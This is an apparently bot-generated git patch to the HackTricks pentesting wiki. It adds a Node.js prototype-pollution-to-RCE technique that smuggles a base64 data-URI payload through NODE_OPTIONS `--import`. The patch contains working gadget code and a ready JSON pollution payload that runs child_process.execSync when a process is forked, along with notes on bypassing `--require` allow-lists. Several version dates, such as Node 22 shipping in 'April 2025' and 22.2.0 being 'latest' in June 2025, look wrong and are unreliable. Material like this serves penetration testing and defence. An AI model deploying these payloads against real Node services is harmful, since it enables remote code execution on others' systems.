From de44ea7065cc3840977e7183e526abc9aa4f3cc7 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sun, 3 Aug 2025 08:27:42 +0000 Subject: [PATCH] Add content from: Research Update: Enhanced src/pentesting-web/deserialization... --- .../prototype-pollution-to-rce.md | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index e9f178d1b..50f30e6f5 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -159,6 +159,51 @@ var proc = fork("a_file.js") // This should create the file /tmp/pp2rec ``` +## Filesystem-less PP2RCE via `--import` (Node ≥ 19) + +> [!NOTE] +> Since **Node.js 19** the CLI flag `--import` can be passed through `NODE_OPTIONS` in the same way `--require` can. In contrast to `--require`, `--import` understands **data-URIs** so the attacker does **not need write access to the file-system** at all. This makes the gadget far more reliable in locked-down or read-only environments. +> +> This technique was first publicly documented by PortSwigger research in May 2023 and has since been reproduced in several CTF challenges. + +The attack is conceptually identical to the `--require /proc/self/*` tricks shown above, but instead of pointing to a file we embed the payload directly in a base64-encoded `data:` URL: + +```javascript +const { fork } = require("child_process") + +// Manual pollution +b = {} + +// Javascript that is executed once Node parses the import URL +const js = "require('child_process').execSync('touch /tmp/pp2rce_import')"; +const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`; + +b.__proto__.NODE_OPTIONS = `--import ${payload}`; +// any key that will force spawn (fork) – same as earlier examples +fork("./a_file.js"); +``` + +Abusing the vulnerable merge/clone sink shown at the top of the page: + +```javascript +USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}'); +clone(USERINPUT); + +// Gadget trigger +fork("./a_file.js"); +// → creates /tmp/pp2rce_import +``` + +### Why `--import` helps +1. **No disk interaction** – the payload travels entirely inside the process command line and environment. +2. **Works with ESM-only environments** – `--import` is the canonical way to preload JavaScript in modern Node releases that default to ECMAScript Modules. +3. **Bypasses some `--require` allow-lists** – a few hardening libraries only filter `--require`, leaving `--import` untouched. + +> [!WARNING] +> `--import` support in `NODE_OPTIONS` is still present in the latest **Node 22.2.0** (June 2025). The Node core team is discussing restricting data-URIs in the future, but no mitigation is available at the time of writing. + +--- + ## DNS Interaction Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction: @@ -716,6 +761,11 @@ At least from v18.4.0 this protection has been **implemented,** and therefore th In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.** +> [!INFO] +> **Node 20 (April 2023) & Node 22 (April 2025)** shipped further hardening: several `child_process` helpers now copy user-supplied `options` with **`CopyOptions()`** instead of using them by reference. This blocks pollution of nested objects such as `stdio`, but **does not protect against the `NODE_OPTIONS` / `--import` tricks** described above – those flags are still accepted via environment variables. +> A full fix would have to restrict which CLI flags can be propagated from the parent process, which is being tracked in Node Issue #50559. + + ### **Other Gadgets** - [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution) @@ -726,6 +776,8 @@ In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c - [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) - [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/) - [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) +- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem) +- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression) - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) {{#include ../../../banners/hacktricks-training.md}}